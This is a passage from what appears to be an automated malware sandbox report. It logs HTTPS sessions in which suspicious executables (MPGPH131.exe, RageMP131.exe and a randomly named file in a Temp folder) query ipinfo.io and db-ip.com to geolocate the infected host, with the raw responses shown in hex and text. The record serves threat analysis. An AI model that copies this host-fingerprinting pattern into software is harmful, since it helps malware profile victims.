2024-04-13 18:21:39 UTC	249	IN	Data Raw: 3a 20 7b 0a 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: : { "address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49763	34.117.186.192	443	5796	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-13 18:21:39 UTC	237	OUT	GET /widget/demo/81.181.54.60 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-13 18:21:39 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Sat, 13 Apr 2024 18:21:39 GMT content-type: application/json; charset=utf-8 Content-Length: 991 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-13 18:21:39 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 34 2e 36 30 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 34 2e 36 30 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 43 61 6c 69 66 6f 72 6e 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 34 2e 30 35 32 32 2c 2d 31 31 38 2e 32 34 33 37 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 39 30 30 30 39 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "input": "81.181.54.60", "data": { "ip": "81.181.54.60", "city": "Los Angeles", "region": "California", "country": "US", "loc": "34.0522,-118.2437", "org": "AS212238 Datacamp Limited", "postal": "90009", "timezone": "
2024-04-13 18:21:39 UTC	249	IN	Data Raw: 3a 20 7b 0a 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: : { "address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49764	34.117.186.192	443	5904	C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-13 18:21:39 UTC	237	OUT	GET /widget/demo/81.181.54.60 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-13 18:21:39 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Sat, 13 Apr 2024 18:21:39 GMT content-type: application/json; charset=utf-8 Content-Length: 991 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-13 18:21:39 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 34 2e 36 30 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 34 2e 36 30 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 43 61 6c 69 66 6f 72 6e 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 34 2e 30 35 32 32 2c 2d 31 31 38 2e 32 34 33 37 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 39 30 30 30 39 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "input": "81.181.54.60", "data": { "ip": "81.181.54.60", "city": "Los Angeles", "region": "California", "country": "US", "loc": "34.0522,-118.2437", "org": "AS212238 Datacamp Limited", "postal": "90009", "timezone": "
2024-04-13 18:21:39 UTC	249	IN	Data Raw: 3a 20 7b 0a 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: : { "address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49765	34.117.186.192	443	7008	C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-13 18:21:39 UTC	237	OUT	GET /widget/demo/81.181.54.60 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-13 18:21:40 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Sat, 13 Apr 2024 18:21:40 GMT content-type: application/json; charset=utf-8 Content-Length: 991 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-13 18:21:40 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 34 2e 36 30 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 34 2e 36 30 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 43 61 6c 69 66 6f 72 6e 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 34 2e 30 35 32 32 2c 2d 31 31 38 2e 32 34 33 37 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 39 30 30 30 39 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "input": "81.181.54.60", "data": { "ip": "81.181.54.60", "city": "Los Angeles", "region": "California", "country": "US", "loc": "34.0522,-118.2437", "org": "AS212238 Datacamp Limited", "postal": "90009", "timezone": "
2024-04-13 18:21:40 UTC	249	IN	Data Raw: 3a 20 7b 0a 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: : { "address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49766	172.67.75.166	443	2252	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-13 18:21:40 UTC	261	OUT	GET /demo/home.php?s=81.181.54.60 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-13 18:21:40 UTC	652	IN	HTTP/1.1 200 OK Date: Sat, 13 Apr 2024 18:21:40 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29EBADE:BD00_93878F2E:0050_661ACD34_7E4740B:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=okBtCi2MJFegep4kVWc3SMvNORCdUOIHiUYtmgbxr4raB5QOiT%2Fqua43387C96yhrS%2BYaMZT7uiTHuOQc18jq5dbFUkc69DYgx2AVqZejDKXoXt6GSmvaRaLYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 873d7a26fbff2acf-LAX alt-svc: h3=":443"; ma=86400
2024-04-13 18:21:40 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-13 18:21:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49767	172.67.75.166	443	5796	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-13 18:21:40 UTC	261	OUT	GET /demo/home.php?s=81.181.54.60 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-13 18:21:40 UTC	662	IN	HTTP/1.1 200 OK Date: Sat, 13 Apr 2024 18:21:40 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC46CF38:D320_93878F2E:0050_661ACD34_7E18A85:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7R18ujy73wfmTYjoU9MgRXehGUjfxiUJtap%2Bb7U%2BD5sp3b%2Bl6dDT0RSELmm0OVmRcn4IpS%2FAzZhy5j%2BoNx%2F5XtT4m%2FlFoNLnPaaeaDRWTGaRdGhKo48yh2UxHg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 873d7a270d557e71-LAX alt-svc: h3=":443"; ma=86400
2024-04-13 18:21:40 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-13 18:21:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49768	172.67.75.166	443	5904	C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-13 18:21:40 UTC	261	OUT	GET /demo/home.php?s=81.181.54.60 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-13 18:21:40 UTC	660	IN	HTTP/1.1 200 OK Date: Sat, 13 Apr 2024 18:21:40 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC4521C6:A7AA_93878F2E:0050_661ACD34_7E18A86:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j3VQz%2BLh%2Fh%2B77GmvsTmB1B1%2FlJyirs6p914gPa%2FLWLqCQ4wd5gmjJqhezklGcMMt7zn7UerXj0Sd4Z9cI7ZyK09W53%2BH1yJAfSLfOdEYOYEt5P4DmcCwk1YIow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 873d7a271b0c0d58-LAX alt-svc: h3=":443"; ma=86400
2024-04-13 18:21:40 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-13 18:21:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49770	172.67.75.166	443	7008	C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-13 18:21:40 UTC	261	OUT	GET /demo/home.php?s=81.181.54.60 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-13 18:21:40 UTC	656	IN	HTTP/1.1 200 OK Date: Sat, 13 Apr 2024 18:21:40 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC46D6E5:E4B6_93878F2E:0050_661ACD34_7E18A8E:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hZ5i5UpB7zbr5oKPEllFNIeELkEz5oYokTr13kh%2BQH23AFlvtvhePy5men58WG8cRyH5ozX%2FBep5riz857B%2F%2BBXqOBN3EC542u1oumPH4Y46GS4Vg50j5R5jYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 873d7a29ba4b7cf5-LAX alt-svc: h3=":443"; ma=86400
2024-04-13 18:21:40 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-13 18:21:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49771	34.117.186.192	443	6888	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-13 18:21:41 UTC	237	OUT	GET /widget/demo/81.181.54.60 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-13 18:21:41 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Sat, 13 Apr 2024 18:21:41 GMT content-type: application/json; charset=utf-8 Content-Length: 991 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-13 18:21:41 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 34 2e 36 30 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 34 2e 36 30 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 43 61 6c 69 66 6f 72 6e 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 34 2e 30 35 32 32 2c 2d 31 31 38 2e 32 34 33 37 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 39 30 30 30 39 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "input": "81.181.54.60", "data": { "ip": "81.181.54.60", "city": "Los Angeles", "region": "California", "country": "US", "loc": "34.0522,-118.2437", "org": "AS212238 Datacamp Limited", "postal": "90009", "timezone": "
2024-04-13 18:21:41 UTC	249	IN	Data Raw: 3a 20 7b 0a 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: : { "address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49774	172.67.75.166	443	6888	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-13 18:21:41 UTC	261	OUT	GET /demo/home.php?s=81.181.54.60 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-13 18:21:42 UTC	654	IN	HTTP/1.1 200 OK Date: Sat, 13 Apr 2024 18:21:42 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC46D311:965C_93878F2E:0050_661ACD36_7E47429:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UqHxNypGmdtcyooT5qJ3uCwSEaoQz8txvNWFK96iUba6HLmJGD3h%2BM7AYEbzEQsquvD7qbLn4yLCkqeJFdrjgrQb1RmawrJF0SJZOFqVYU%2FGPUI%2BDsp9mMe8Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 873d7a326c5d0fbc-LAX alt-svc: h3=":443"; ma=86400
2024-04-13 18:21:42 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-13 18:21:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49788	34.117.186.192	443	6052	C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-13 18:21:57 UTC	237	OUT	GET /widget/demo/81.181.54.60 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-13 18:21:57 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Sat, 13 Apr 2024 18:21:57 GMT content-type: application/json; charset=utf-8 Content-Length: 991 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-13 18:21:57 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 34 2e 36 30 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 34 2e 36 30 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 43 61 6c 69 66 6f 72 6e 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 34 2e 30 35 32 32 2c 2d 31 31 38 2e 32 34 33 37 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 39 30 30 30 39 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "input": "81.181.54.60", "data": { "ip": "81.181.54.60", "city": "Los Angeles", "region": "California", "country": "US", "loc": "34.0522,-118.2437", "org": "AS212238 Datacamp Limited", "postal": "90009", "timezone": "
